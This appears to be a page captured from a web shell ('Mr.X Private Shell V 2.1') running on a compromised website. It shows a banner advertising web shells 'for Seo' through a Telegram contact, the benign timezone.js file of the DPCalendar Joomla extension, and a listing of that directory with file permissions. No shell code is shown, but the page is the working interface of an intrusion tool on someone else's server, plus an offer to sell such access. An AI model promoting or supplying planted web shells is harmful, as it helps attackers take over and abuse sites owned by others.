__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @package DPCalendar
* @copyright Digital Peak GmbH. <https://www.digital-peak.com>
* @license https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
*/
(function () {
'use strict';
document.addEventListener('DOMContentLoaded', () => {
loadDPAssets(['/com_dpcalendar/js/dpcalendar/layouts/block/select.js']);
[].slice.call(document.querySelectorAll('.dp-timezone__select')).forEach((select) => {
select.addEventListener('change', () => DPCalendar.request('task=profile.tz&tz=' + select.value, () => location.reload()));
if (localStorage.getItem('DPCalendar.timezone.switcher.disable') == 1) {
return;
}
if (Intl.DateTimeFormat().resolvedOptions().timeZone === select.value) {
return;
}
const notification = document.querySelector('.dp-timezone__info');
if (!notification) {
return;
}
notification.innerHTML = notification.innerHTML.replace('%s', Intl.DateTimeFormat().resolvedOptions().timeZone);
notification.classList.remove('dp-timezone__info_hidden');
notification.querySelector('.dp-link_confirm').addEventListener('click', (e) => {
e.preventDefault();
select.value = Intl.DateTimeFormat().resolvedOptions().timeZone;
select.dispatchEvent(new Event('change'));
return false;
});
notification.querySelector('.dp-link_close').addEventListener('click', (e) => {
e.preventDefault();
notification.classList.add('dp-timezone__info_hidden');
localStorage.setItem('DPCalendar.timezone.switcher.disable', 1);
return false;
});
});
});
})();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| autocomplete.js | File | 4.81 KB | 0664 |
|
| autocomplete.min.js | File | 3.42 KB | 0664 |
|
| datepicker.js | File | 2.88 KB | 0664 |
|
| datepicker.min.js | File | 2 KB | 0664 |
|
| select.js | File | 10.82 KB | 0664 |
|
| select.min.js | File | 9.76 KB | 0664 |
|
| timepicker.js | File | 2.72 KB | 0664 |
|
| timepicker.min.js | File | 1.96 KB | 0664 |
|
| timezone.js | File | 1.5 KB | 0664 |
|
| timezone.min.js | File | 1.25 KB | 0664 |
|